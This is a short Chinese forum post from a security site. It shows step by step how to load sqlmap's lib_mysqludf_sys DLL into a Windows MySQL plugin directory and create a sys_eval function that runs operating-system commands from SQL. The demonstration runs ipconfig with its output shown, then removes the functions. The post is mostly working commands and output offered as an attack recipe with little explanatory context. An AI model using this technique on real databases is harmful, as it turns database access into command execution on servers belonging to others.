切换风格

Wizard Sky California Sunset glow Black Cloud Beige Dragon Lavender NewYear City Snow Flowers London
收藏本站XSS平台字符串转换jsfuck
295 SQLMAP lib_mysqludf_sys.so in windows[复制链接]
发表于 2012-10-8 22:39:09 | 显示全部楼层 |!read_mode!
  1. root@Dis9Team:/pen/sql/sqlmap/udf/mysql/windows/32# file lib_mysqludf_sys.dll
  2. lib_mysqludf_sys.dll: PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit
  3. root@Dis9Team:/pen/sql/sqlmap/udf/mysql/windows/32#
复制代码
WIN1
查看共享目录
  1. mysql> show variables like '%plugin%';
  2. +---------------+---------------------------------+
  3. | Variable_name | Value                           |
  4. +---------------+---------------------------------+
  5. | plugin_dir    | C:\xampp\mysql\data\lib\plugin\ |
  6. +---------------+---------------------------------+
  7. 1 row in set (0.00 sec)

  8. mysql>
复制代码

吧lib_mysqludf_sys.dll 放到 C:\xampp\mysql\data\lib\plugin\
  1. mysql> CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
  2. Query OK, 0 rows affected (0.02 sec)
  3. mysql>  CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
  4. Query OK, 0 rows affected (0.00 sec)
  5. mysql> select sys_eval('ipconfig');
  6. Windows IP Configuration


  7. Ethernet adapter 本地连接:

  8.         Connection-specific DNS Suffix  . : localdomain
  9.         IP Address. . . . . . . . . . . . : 5.5.5.10
  10.         Subnet Mask . . . . . . . . . . . : 255.255.255.0
  11. |      Default Gateway . . . . . . . . . : 5.5.5.2
  12. +-------------------------------------------------------------------------------
  13. --------------------------------------------------------------------------------
  14. --------------------------------------------------------------------------------
  15. -----------------------------------------------+
  16. 1 row in set (0.31 sec)

  17. mysql>
复制代码

删除函数
  1. mysql>  DROP FUNCTION IF EXISTS sys_eval;
  2. Query OK, 0 rows affected (0.00 sec)

  3. mysql> DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
  4. Query OK, 0 rows affected, 1 warning (0.00 sec)

  5. mysql>
复制代码




操千曲而后晓声,观千剑而后识器。

代码区

GMT+8, 2020-10-1 20:22

Powered by Discuz! X2

© 2001-2018 Comsenz Inc.

回顶部